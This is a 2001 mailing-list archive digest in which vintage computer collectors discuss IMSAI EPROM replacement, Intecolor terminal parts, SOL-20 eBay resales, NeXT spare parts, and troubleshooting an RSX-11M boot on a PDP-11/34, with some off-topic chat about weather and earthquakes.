EPROMS In-Reply-To: <002201c0f0b8$d2566560$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 9, 1 01:50:15 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 846 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010609/1d48e9bc/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jun 9 15:54:38 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:20 2005 Subject: Lilith schematics anyone ? In-Reply-To: <01060915083400.00376@jos> from "jos.mar" at Jun 9, 1 02:59:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 754 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010609/2e7b83f7/attachment.ksh From celigne at tinyworld.co.uk Sat Jun 9 16:57:55 2001 From: celigne at tinyworld.co.uk (Paul Williams) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI EPROMS References: Message-ID: <3B229BE3.9C2A1597@tinyworld.co.uk> Tony Duell wrote: > > 2764s are available everywhere and are cheap. And _every_ modern > programmer can handle them (I've seen a few programmers that can > handle nothing smaller than the 2764). Heh heh. Don't we all collect classic programmers as well? From edick at idcomm.com Sat Jun 9 17:12:02 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI EPROMS References: Message-ID: <001401c0f131$36071820$9cc762d8@idcomm.com> Yes, that's probably better and likely to remain useable for a long time, but I was focused on the socket size. It's pretty easy to hack the board, but building a daughterboard is somewhat more work than hacking the PCB. If wanting a place to put a 27C512 (also 28-pins) is a problem, a mezzanine board on the CPU socket might work, too. Then the EPROM board can be sold on eBay to a "collector" who won't care what it is, and will pay enough to buy a new car ... well, maybe a new card ... Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Saturday, June 09, 2001 2:52 PM Subject: Re: IMSAI EPROMS > > > > It's probably not a bad idea to modify the EPROM board to accept the > > single-supply (Intel-style) 2716, or even 2732. It's not difficult, and, once > > What I would do is make a little daughterboard to take a 27(C)64. It's > not hard -- most of the pins are in the same place (address, data, > ground), so it's not hard to do even using stripboard. That way you keep > the EPROM board original (although I probably would replace the EPROM > sockets with turned pin types). > > 24 pin EPROMS, even the 2716 anmd 2732 are getting hard to find in the > UK, and are somewhat expensive. 2764s are available everywhere and are > cheap. And _every_ modern programmer can handle them (I've seen a few > programmers that can handle nothing smaller than the 2764). > > It may seem a waste to replace a 1K*8 chip with an 8K*8 chip, but that's > progress,,,, > > -tony > > From ard at p850ug1.demon.co.uk Sat Jun 9 17:05:59 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:20 2005 Subject: IMSAI EPROMS In-Reply-To: <3B229BE3.9C2A1597@tinyworld.co.uk> from "Paul Williams" at Jun 9, 1 10:57:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 634 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010609/0d475280/attachment.ksh From vaxcat at retrocomputing.com Sat Jun 9 18:32:59 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:20 2005 Subject: ISC Intecolor Manuals or Copies Request In-Reply-To: <003201c0f099$4aca2c40$8a0101ac@ibm23xhr06> References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: I'm looking for a little help finding a manual or a copy of a manual for an ISC (Intelligent Systems Corporation) Intecolor terminal. I'm prepared to pay any copying costs and will not be a cheapskate about it. =) It's a 19 inch color terminal from the early 80s that is identical to one I used to play with when I was a kid visiting the place where my dad worked. At any rate, I'd like to connect it to one of my linux boxes and use it as I recall it had a REALLY spiffy display. I found what LOOKS like a termcap entry for it: #### CompuColor # # These were consoles for a line of Z80-based micros dating from around 1977. # # These compucolors appear similar, but they at least have different # sized screens. I don't know what's going on here. # (compucolor: removed obsolete ":bc=^Z:" -- esr) compucolor|isc8001|intecolor|compucolor console, cr=^M$<1>, cud1=^J$<1>, ind=^J$<1>, bel=^G, am, cols#80, lines#47, il1=\EU$<5*>, dl1=\EV^\$<5*>, clear=^L$<31>, smir=^S\EQ$<1>, rmir=^R\EK$<1>, kcub1=^Z, kcuf1=^Y, kcuu1=^\, kcud1=^J, khome=^H, cub1=^Z$<1>, cuf1=^Y$<1>, cuu1=^\$<1>, smul=^Q$<1>, rmul=^R$<1>, .cup=^C%p2%c%p1%c, # (compucolor2: removed obsolete ":bc=^Z:" -- esr) compucolor2|compucolorII|compucolor II console, am, cols#64, it#8, lines#32, bel=^G, clear=^L, cr=^M, cub1=^Z, cud1=^J, cuf1=^Y, cup=\003%p2%c%p1%c, cuu1=^\, home=^H, ht=^I, ind=^J, and the one on top APPEARS to be more or less correct but I'm uncertain of this and, if it doesn't work, I'd like to have the docs so I can develop my own termcap entry. Thanks for any help in advance, Anthony Clifton Des Moines, Iowa http://www.iowanetworking.com From vaxcat at retrocomputing.com Sat Jun 9 19:11:15 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:20 2005 Subject: Intecolor Updated Request In-Reply-To: <003201c0f099$4aca2c40$8a0101ac@ibm23xhr06> References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: [Message sent to classiccmp and carbon-copied to Carl Friend.] Hmmmm... The ISC Intecolor 8001 is missing the power cable (which is a funky connector I can't seem to locate a cord for) and the fuse holder and fuse, which I can't identify. You can see the power connector in the lower left and the fuse holder in the lower right. http://asp1.secure-shopping.com/aclifton/intecolor.back.jpg If anyone can help me locate or can provide the correct power cable, fuse holder and fuse for it (assuming it's not a standard fuse type), I would be GREATLY appreciative. I'm prepared to pay money for them as I'd really like to have this unit going in it's original condition. Looking around, I located one on Carl Friend's web site and discovered that it's alot more than I thought. http://www.ultranet.com/~crfriend/museum/machines/ISC8001.html Here are pictures of my machine. The keyboard is about the niftiest thing I've ever seen: http://asp1.secure-shopping.com/aclifton/intecolor.front.jpg http://asp1.secure-shopping.com/aclifton/intecolor.keyboard.jpg Apparently, it contains an 8080 with 64k of memory. 32k is dedicated to ROM, 8k to video and 24k to program space. It's programmable in BASIC! Thanks... Anthony Clifton Des Moines, Iowa From blstuart at bellsouth.net Sat Jun 9 18:07:51 2001 From: blstuart at bellsouth.net (blstuart@bellsouth.net) Date: Sun Feb 27 19:04:20 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: Your message of Sat, 9 Jun 2001 02:14:22 -0400 (EDT) . Message-ID: In message , John Law son writes: > IIRC, the largest US quake (of which we have reliable evidence) in the >last 150 years was on the New Madrid fault in (I think) Tennessee, which >changed the course of the Ohio River. It was approaching a 9.0 R. If it's the one I'm thinking of, I think it was the Mississippi that was reversed. As I understand it, what happened was that one quake created an opening between the river and a low valley. As water rushed into the valley, the souther part of the river ran backwards. A few days later another quake closed off the opening leaving the newly created Reelfoot lake. Of course, if I'm thinking of a different quake, then I've just contributed to the topic drift. At least it's more than 10 years ago :-) Brian From louiss at gate.net Sat Jun 9 19:34:53 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:20 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI EPROMS In-Reply-To: Message-ID: <200106100034.UAA18139@granger.mail.mindspring.net> On Sat, 9 Jun 2001 23:05:59 +0100 (BST), Tony Duell wrote: #> #> Tony Duell wrote: #> > #> > 2764s are available everywhere and are cheap. And _every_ modern #> > programmer can handle them (I've seen a few programmers that can #> > handle nothing smaller than the 2764). #> #> Heh heh. Don't we all collect classic programmers as well? # #Well, _I_ certainly do, but then I'm not the person who can't program #2708s :-). I think at least one my programmers can manage those, and #maybe even the 2704 (512*8, otherwise similar to the 2708). # #However, even though I can program them, blank 2708s are getting hard to #find over here, so it's nice to have a way to use easy-to-get cheap parts. # #-tony Tony's suggestion that older eproms can be replaced by a 2764 on a daughterboard is certainly helpful information, like many of Tony's suggestions. While I am sure the circuit is "trivial", some of us are electronics novices, and no circuit is trivial. If I might suggest, it would be extremely helpful if Tony's hints, and those of others, could be posted to a web site in the form of schematics or diagrams. For those of us who are electronically impaired, that would be a tremendous asset. Thanks, Louis From wmsmith at earthlink.net Sat Jun 9 20:40:15 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:21 2005 Subject: Intecolor Updated Request References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> A manual for the 8001 Monitor sold recently on eBay -- you may want to contact the purchaser: See: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item= 1434849350 -W > > [Message sent to classiccmp and carbon-copied to Carl Friend.] > > Hmmmm... > > The ISC Intecolor 8001 is missing the power cable (which is a funky > connector I can't > seem to locate a cord for) and the fuse holder and fuse, which I can't > identify. You can see the power connector in the lower left and the fuse > holder in the lower right. > > http://asp1.secure-shopping.com/aclifton/intecolor.back .jpg > > If anyone can help me locate or can provide the correct power cable, fuse > holder > and fuse for it (assuming it's not a standard fuse type), I would be GREATLY > appreciative. I'm prepared to pay money for them as I'd really > like to have this unit going in it's original condition. > > Looking around, I located one on Carl Friend's > web site and discovered that it's alot more than I thought. > http://www.ultranet.com/~crfriend/museum/machines/ISC80 01.html > > Here are pictures of my machine. The keyboard is about the niftiest thing > I've ever seen: > > http://asp1.secure-shopping.com/aclifton/intecolor.fron t.jpg > http://asp1.secure-shopping.com/aclifton/intecolor.keyb oard.jpg > > Apparently, it contains an 8080 with 64k of memory. 32k is dedicated to > ROM, 8k to video and 24k to program space. It's programmable in BASIC! > > Thanks... > > Anthony Clifton > Des Moines, Iowa > > From cfandt at netsync.net Sat Jun 9 20:47:34 2001 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 19:04:21 2005 Subject: Usenet In-Reply-To: <15134.56988.156392.730438@phaduka.neurotica.com> References: <014101c0eee5$7f40f9a0$a8799a8d@ajp166> Message-ID: <4.1.20010609214102.00bd8b40@206.231.8.2> What's bothering me is what the heck kinds of micro-subject matter they could make *300* new ng's out of? Man, it has to be incredibly minuscule subjects. Unless, of course, they're finally addressing the debugging and optimizing some of their s/w. It would take a helluva *lot* of ng's to cover that! ;) -Chris -- -- Upon the date 09:53 PM 6/6/01 -0400, Dave McGuire said something like: >On June 6, Jeff Hellige wrote: >> Geez....Microsoft created over 300 new newsgroups in the last day.... > > As if it's not bad enough that those idiots have set our industry >back about fifteen years. NOW they're wasting bandwidth on top of it! > > -Dave McGuire Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.antiquewireless.org/ From jhellige at earthlink.net Sat Jun 9 21:20:48 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:21 2005 Subject: SOL-20 and eBay In-Reply-To: <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> References: <010301c0f093$372eb300$a9799a8d@ajp166> <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> Message-ID: Well, tonight a SOL-20 with Helios disk system was put up for sale and within two hours of the seller placing the listing, it was bought for $750 with the 'buy it now' option. No biggie, other than the buyer was the seller that was discussed here a few weeks ago concerning the Mark-8 kit, as well as the seller of another SOL-20 that recently sold for $1375.00. This machine had a North Star disk controller and two 16k RAM boards, and that was it. He also recently sold an IMSAI 8080. Anyone want to place odds as to what SOL and/or Helios disk system will appear on eBay once again in the near future, but with a higher reserve? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From edick at idcomm.com Sat Jun 9 21:41:12 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:21 2005 Subject: IMSAI EPROMS References: Message-ID: <002501c0f157$4364c460$9cc762d8@idcomm.com> Oddly enough, I don't believe I've ever had anything that required 2708's, though several of my old Multibus boards use them if one wishes. 2716's and later were obviously the part of choice. At least one of my old S-100 programmers handles 2708's, but, in spite of that, and in spite of the fact I've held onto a supply of the things for years, I've never had to use one. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Saturday, June 09, 2001 4:05 PM Subject: Re: IMSAI EPROMS > > > > Tony Duell wrote: > > > > > > 2764s are available everywhere and are cheap. And _every_ modern > > > programmer can handle them (I've seen a few programmers that can > > > handle nothing smaller than the 2764). > > > > Heh heh. Don't we all collect classic programmers as well? > > Well, _I_ certainly do, but then I'm not the person who can't program > 2708s :-). I think at least one my programmers can manage those, and > maybe even the 2704 (512*8, otherwise similar to the 2708). > > However, even though I can program them, blank 2708s are getting hard to > find over here, so it's nice to have a way to use easy-to-get cheap parts. > > -tony > > From jeff.kaneko at juno.com Sat Jun 9 21:47:12 2001 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 19:04:21 2005 Subject: Intecolor Updated Request Message-ID: <20010609.214716.-4059315.0.jeff.kaneko@juno.com> The power connector takes what we used to call an 'adding machine' linecord. These things surface at thrifts. I haven't seen one in awhile; but then again I haven't looked, either. I could probably locate one if no one else has it . . . The fuseholder I'm not sure; kinda hard to tell from the pix-- but it looks to me like the sort that used standard 'buss' glass fuses. . . . Jeff On Sat, 9 Jun 2001 19:11:15 -0500 "Anthony Clifton - Retrocomputing.com" writes: > > [Message sent to classiccmp and carbon-copied to Carl Friend.] > > Hmmmm... > > The ISC Intecolor 8001 is missing the power cable (which is a funky > connector I can't > seem to locate a cord for) and the fuse holder and fuse, which I > can't > identify. You can see the power connector in the lower left and > the fuse > holder in the lower right. > ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From cmcmanis at mcmanis.com Sat Jun 9 22:22:34 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:21 2005 Subject: SOL-20 and eBay In-Reply-To: References: <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> <010301c0f093$372eb300$a9799a8d@ajp166> <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> Message-ID: <5.0.0.25.2.20010609201959.01f69790@209.185.79.193> At 10:20 PM 6/9/01 -0400, you wrote: > Anyone want to place odds as to what SOL and/or Helios disk > system will appear on eBay once again in the near future, but with a > higher reserve? > Jeff And your point is what exactly? Have you ever bought something at a Hamfest and then had someone offer you more for it later and sell it to them? That's happened to me a couple of times, once it gave me a net profit even though I had paid $75 for a set of MicroVAX III boards! The seller probably should have set a higher 'buy it now' price. But the other guy just took advantage of that and might make a quick buck. Then again, he might be like one of the Beanie baby folks and find out that now he can't break even on it. --Chuck From edick at idcomm.com Sat Jun 9 22:22:51 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:21 2005 Subject: SOL-20 and eBay References: <010301c0f093$372eb300$a9799a8d@ajp166> <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> Message-ID: <001e01c0f15c$a1deeac0$9cc762d8@idcomm.com> If he does that, swell! It makes all this classic stuff more valuable, doesn't it? Dick ----- Original Message ----- From: "Jeff Hellige" To: Sent: Saturday, June 09, 2001 8:20 PM Subject: SOL-20 and eBay > Well, tonight a SOL-20 with Helios disk system was put up for > sale and within two hours of the seller placing the listing, it was > bought for $750 with the 'buy it now' option. No biggie, other than > the buyer was the seller that was discussed here a few weeks ago > concerning the Mark-8 kit, as well as the seller of another SOL-20 > that recently sold for $1375.00. This machine had a North Star disk > controller and two 16k RAM boards, and that was it. He also recently > sold an IMSAI 8080. > > Anyone want to place odds as to what SOL and/or Helios disk > system will appear on eBay once again in the near future, but with a > higher reserve? > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From jhingber at ix.netcom.com Sat Jun 9 22:31:23 2001 From: jhingber at ix.netcom.com (Jeffrey Ingber) Date: Sun Feb 27 19:04:21 2005 Subject: NeXT parts available, others too Message-ID: <3B22EA0B.1000406@ix.netcom.com> I have the following bits 'n piece of NeXT Cube/NeXT equipment available to interested parties. You can have what you like for the cost of shipping, or an even swap for any items on my want list: NeXT ---- 1 rear cover for 030 cube (ie. "NeXT Computer") with original fan (ie. spins backward), will fit on all Cubes 3 screws for rear cover 3 slot-covers (I know someone needs some of these =) 1 Complete set of upper and lower card tracks 1 Cube Logo for front of case (good condition) 3 rubber feet for Cube bottom with screws 4 dowels (these hold the three sections of the Cube together). 1 Backplane, working 1 3-meter monitor cable (one end is loose), working 1 Optical drive, working 3 030 System boards with various RAM configuration and batteries, none have NBIC chips, all working 1 Refurbished power supply with center tower, working, clean. 1 ADB keyboard, no cord, good cosmetic condition, good for replacement key caps. 2 NON-ADB keyboards, working, poor cosmetic condition, logo good condition 1 NON-ADB mouse, working, poor cosmetic condition, logo good condition 2 screws for front bezel NON-NeXT/misc. -------- 1 Complete Digiboard EISA Xem with 8-port ports module, cable, loopback plug, manuals and software. Working, complete, never used. This would be great to connect a bunch of old PC's to a UNIX server, for BBS, terminals, etc. Works with Linux, SCO, NT, etc. 1 Digiboard Classicboard 4 port, no cable (new) 1 Digiboard Classicboard 8 port, no cable (new) 1 IBM Logo manual in linen-bound yellow binder (has some marks and glue on slipcover), missing disk. 1 IBM MS-DOS 2.10 manual, missing disks Viking 56K external hardware modem, AC adapter, and manuals. My want list: ------------- IBM PC 360K full height floppy drives IBM PC floppy controllers IBM PC monochrome monitor/printer cards IBM PC CGA cards IBM PCjr internal modems & cables IBM PCjr cartridge BASIC and manuals IBM PC power supply Any interesting PCjr sidecards, sans. memory expansion sidecard Any PCjr expansion unit type addon that has a second floppy drive and more memory (working, complete) IBM PCjr chiclet keyboards AST Sixpack or similar multi-function cards for IBM PC SCREWS! I need any kind of screws for the PC - chassis, expansion card, floppy drives, etc. IBM PC's you no longer want, with some of the items above. Working or not, need for parts, will pay shipping. NeXT 2.88MB/OD front bezels for Cube Lisa Keyboard Mounting hardware for floppies (Cube) and NeXT floppy cables (Cube) One set of rubber "rollers" for the front feet of the NeXT N7000 monitor One set of rear feet for the rear of the NeXT N7000 monitor Ultra2 LVD SCSI cables for 3+ drives, needs to be new If you want to trade, drop me a line off the list and we'll talk. - Jeff From jhingber at ix.netcom.com Sat Jun 9 23:26:48 2001 From: jhingber at ix.netcom.com (Jeffrey Ingber) Date: Sun Feb 27 19:04:21 2005 Subject: NeXT parts available, others too In-Reply-To: <3B22EA0B.1000406@ix.netcom.com> References: <3B22EA0B.1000406@ix.netcom.com> Message-ID: <992147210.13247.3.camel@desk-2> On 09 Jun 2001 23:31:23 -0400, Jeffrey Ingber wrote: > IBM PC's you no longer want, with some of the items > above. Working or not, need for parts, will pay shipping. > NeXT 2.88MB/OD front bezels for Cube > Mounting hardware for floppies (Cube) and NeXT floppy cables > (Cube) > One set of rubber "rollers" for the front feet of the NeXT > N7000 monitor > One set of rear feet for the rear of the NeXT N7000 monitor I also need to add: Any of these items above will take priority. If you are willing to part with any of these items, esp. the NeXT floppy stuff, drop me a line and we'll talk. I'll be willing to pay for these, as I need them to bring some closure to a PC and Cube. From mikeford at socal.rr.com Sat Jun 9 23:12:42 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:21 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: Message-ID: >mentioned it by name after I sent that. One thing about the >midwest...if you like variety in your weather and seasons and such, California has all the seasons, within a couple hours drive sometimes. I know people who have water skied and snow skied on the same weekend. From mmcfadden at cmh.edu Sun Jun 10 01:22:52 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:21 2005 Subject: All states have had tornadoes, some just more than others Message-ID: Today I drove through Pleasant Hill, Missouri, the site of one of NOAA's weather radar units. Large radar dome on a stand, it's pretty neat to see the radar track of a severe storm, especially when I'm within 7 miles of the radar. I can go online on the cable modem and watch the storm real-time from the NOAA radar. When the neighbor's boat and dock flipped upside down into the yard I knew the wind was howling. It's only a tornado if the house explodes and there's not much left standing. Straight-line winds are more common. I tried to tour the place during an open house but the line was 1/2 mile long. Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Sun Jun 10 01:33:41 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:21 2005 Subject: Talking 'bout shakin & quakin Message-ID: Actually all of the planning I have seen in Missouri about a major earthquake around New Madrid fault or St. Louis results in major casualties being sent all the way to Indianapolis. There are very few burn patient beds available nationwide. I felt a weak earthquake in St. Louis in about 1978. I though my alarm went off early or it could have been the F-104's on afterburner. I don't know why everybody gets crazy, the last tornado alert I took a bottle of wine down to the basement and played some pool. If it hits that's the breaks. Mike mmcfadden@cmh.edu From peter at joules.org Sun Jun 10 03:37:18 2001 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 19:04:21 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: References: Message-ID: <01061009425705.02883@pluto.joules.org> On Sat, 09 Jun 2001, R. D. Davis wrote: > although we know that, for the most part, they're a bunch of > interfering busybodies who despise such concepts as liberty and > freedom) us (actually, they want to protect business interests who > helped them get elected, those that they owe a favor to, who stand to > gain financially in some way from further laws imposed upon us). > That sounds like our government. I thought that, in the USA, your written constitution provided a legislative framework which controlled potential excesses by the government of the day? Here they just make it up as they go along. ATM even the interests of industry are frequently ignored in the rush to be the first to implement new European legislation. We are, it appears, obedient subjects of the United Sates of Europe :( -- Regards Pete From healyzh at aracnet.com Sun Jun 10 07:04:54 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: Message-ID: >I have pretty much no experience with DEC systems, or at least PDP-11s >anyway. I have an 11/34 with three RL01 drives (only two are connected). The >system works fine, I get the register printout on the console LA120, and I >can examine, deposite, etc. When I put the RSX-11M pack in the RL01 drive, >and ready it, I don't get any fault ligtht or anything. When I get >everything set up, I tell the system to boot from drive 0. The light on the >drive flashes rapidly, and I can hear it spinning. Then I get a lot of line >feeds on the console, along with a few seemingly random characters, usually >lower case Rs, Ss, and Ms. So, if anyone can tell me what I am doing wrong, >or what I need to be doing, I would greatly appreciate it. > >Thanks, >Owen It sounds to me as if you're doing everything right. You're just not getting the output on the console you should be. This has me wondering a few things. Did you get everything as a whole or is this something you're trying to put together from a variety of sources? If you did get this as a whole, is it put together in the same manner it was when this was a working configuration. Do you have all the packs mounted that were normally mounted when it was in a working condition. What version of RSX-11M? Do you know the actual state of your disk pack? Do you have a terminal besides the LA120? Do you have Serial lines besides the one the LA120 is on? Do you have hardware documentation on the 11/34? Now for anyone reading this, can the 11/34 do something funky like change the speed of it's console line without having to use hardware jumpers? I don't think it can, but from the fact that all that's being printed out, that's my first thought, however, the fact everything looks to work before trying to boot RSX this doesn't look to be the problem. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From uban at ubanproductions.com Sun Jun 10 08:17:46 2001 From: uban at ubanproductions.com (Tom Uban) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: References: Message-ID: <3.0.5.32.20010610081746.009271b0@ubanproductions.com> It could also be the serial line configuration. You may need to set the terminal for ignore parity, 7 bits, or something like that... --tom At 05:04 AM 6/10/01 -0700, you wrote: >>I have pretty much no experience with DEC systems, or at least PDP-11s >>anyway. I have an 11/34 with three RL01 drives (only two are connected). The >>system works fine, I get the register printout on the console LA120, and I >>can examine, deposite, etc. When I put the RSX-11M pack in the RL01 drive, >>and ready it, I don't get any fault ligtht or anything. When I get >>everything set up, I tell the system to boot from drive 0. The light on the >>drive flashes rapidly, and I can hear it spinning. Then I get a lot of line >>feeds on the console, along with a few seemingly random characters, usually >>lower case Rs, Ss, and Ms. So, if anyone can tell me what I am doing wrong, >>or what I need to be doing, I would greatly appreciate it. >> >>Thanks, >>Owen > >It sounds to me as if you're doing everything right. You're just not >getting the output on the console you should be. This has me wondering a >few things. > >Did you get everything as a whole or is this something you're trying to put >together from a variety of sources? If you did get this as a whole, is it >put together in the same manner it was when this was a working >configuration. Do you have all the packs mounted that were normally >mounted when it was in a working condition. > >What version of RSX-11M? Do you know the actual state of your disk pack? > >Do you have a terminal besides the LA120? Do you have Serial lines besides >the one the LA120 is on? > >Do you have hardware documentation on the 11/34? > >Now for anyone reading this, can the 11/34 do something funky like change >the speed of it's console line without having to use hardware jumpers? I >don't think it can, but from the fact that all that's being printed out, >that's my first thought, however, the fact everything looks to work before >trying to boot RSX this doesn't look to be the problem. > > Zane >-- >| Zane H. Healy | UNIX Systems Administrator | >| healyzh@aracnet.com (primary) | OpenVMS Enthusiast | >| healyzh@holonet.net (alternate) | Classic Computer Collector | >+----------------------------------+----------------------------+ >| Empire of the Petal Throne and Traveller Role Playing, | >| and Zane's Computer Museum. | >| http://www.aracnet.com/~healyzh/ | > > From pechter at bg-tc-ppp455.monmouth.com Sun Jun 10 08:25:48 2001 From: pechter at bg-tc-ppp455.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: from Owen Robertson at "Jun 9, 2001 12:53:15 pm" Message-ID: <200106101325.f5ADPm500714@bg-tc-ppp455.monmouth.com> > I have pretty much no experience with DEC systems, or at least PDP-11s > anyway. I have an 11/34 with three RL01 drives (only two are connected). The > system works fine, I get the register printout on the console LA120, and I > can examine, deposite, etc. When I put the RSX-11M pack in the RL01 drive, > and ready it, I don't get any fault ligtht or anything. When I get > everything set up, I tell the system to boot from drive 0. The light on the > drive flashes rapidly, and I can hear it spinning. Then I get a lot of line > feeds on the console, along with a few seemingly random characters, usually > lower case Rs, Ss, and Ms. So, if anyone can tell me what I am doing wrong, > or what I need to be doing, I would greatly appreciate it. > > Thanks, > Owen Set the LA120 baud rate to 1200 7 bit, noparity... Check it again. If it doesn't work... try 300 baud. If that doesn't work work your way through all the baud rates... Sounds like it's booting -- but not getting the correct communication parameters. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp455.monmouth.com Sun Jun 10 08:38:43 2001 From: pechter at bg-tc-ppp455.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: from "Zane H. Healy" at "Jun 10, 2001 05:04:54 am" Message-ID: <200106101338.f5ADche00836@bg-tc-ppp455.monmouth.com> > > Now for anyone reading this, can the 11/34 do something funky like change > the speed of it's console line without having to use hardware jumpers? I > don't think it can, but from the fact that all that's being printed out, > that's my first thought, however, the fact everything looks to work before > trying to boot RSX this doesn't look to be the problem. > > Zane Nah... It's a standard DL11-W or DL11-E in there... However it's not uncommon for LA120's to get their baud rates reprogrammed to be used off a PC when the PDP11's being decommissioned. I'd try to deposit a 301 (octal) or was that 101 in the output register to the console output buffer -- (was that 777566) -- I don't have any docs here. Then I'd see if there's an "A" on the LA120... Try that with all the different LA120 baud rates until it matched. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From healyzh at aracnet.com Sun Jun 10 08:57:09 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:21 2005 Subject: OT: PC AGP slots Message-ID: OK, this is seriously off-topic, but I know someone around here has to know, and I'm not sure where else to ask. Can you put a AGP 2x or 4x card in a system that only has a plain AGP slot? I've got a PII/333 in a 440LX system I'd like to put something like an ATI All-in-Wonder Radeon card into. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pdp11 at bellsouth.net Sun Jun 10 09:20:37 2001 From: pdp11 at bellsouth.net (Doug Carman) Date: Sun Feb 27 19:04:21 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> Message-ID: <3B238235.101F49C4@bellsouth.net> "Jeffrey S. Sharp" wrote: > > Well, I guess it's time to let the cat out of the bag with this > one... > > I've been planning a very nice equipment rescue in Seattle for some > time now, but as circumstances are, I will not be able to afford the > trip. I'd rather not see anything scrapped, so I am hoping someone > on the list will be able to pick up where I'm leaving off. > > What we have is a *bunch* of OEM and third-party PDP-11 equipment. > Here's an overview. There are two types of systems: old and new. > Both were made by ATEX using a combination of DEC and custom > hardware. > > The old systems consisted of, originally, PDP-11/34s and 04s. > These were upgraded later on by replacing the CPU cards with with a > single card with a J11 processor and a SIMM on board. The old > systems are in black 6ft racks which have a blue ATEX legend at the > top instead of the traditional DEC legend. Each rack contains one > PDP-11/34 or /04 box up top and an additional backplane down below > with gobs of custom ATEX cards. Not long ago I ran into some of these ATEX systems when the Orlando paper replaced their prepress systems. The ATEX systems they had were updated, but had some parts that dated to 1972. The systems used DEC MicroPDP-11 processors, but were nearly all custom beyond that. I had a chance to talk to one of the administrators that had worked on the systems. The systems are arranged in a kind of parallel processing scheme where two of the CPU's dispatch work to all the others via a custom network between CPU's. The OS was entirely custom written by ATEX. There were custom built terminals for the users, and tons of serial interfaces on the ATEX racks. Although the racks looked like late PDP or 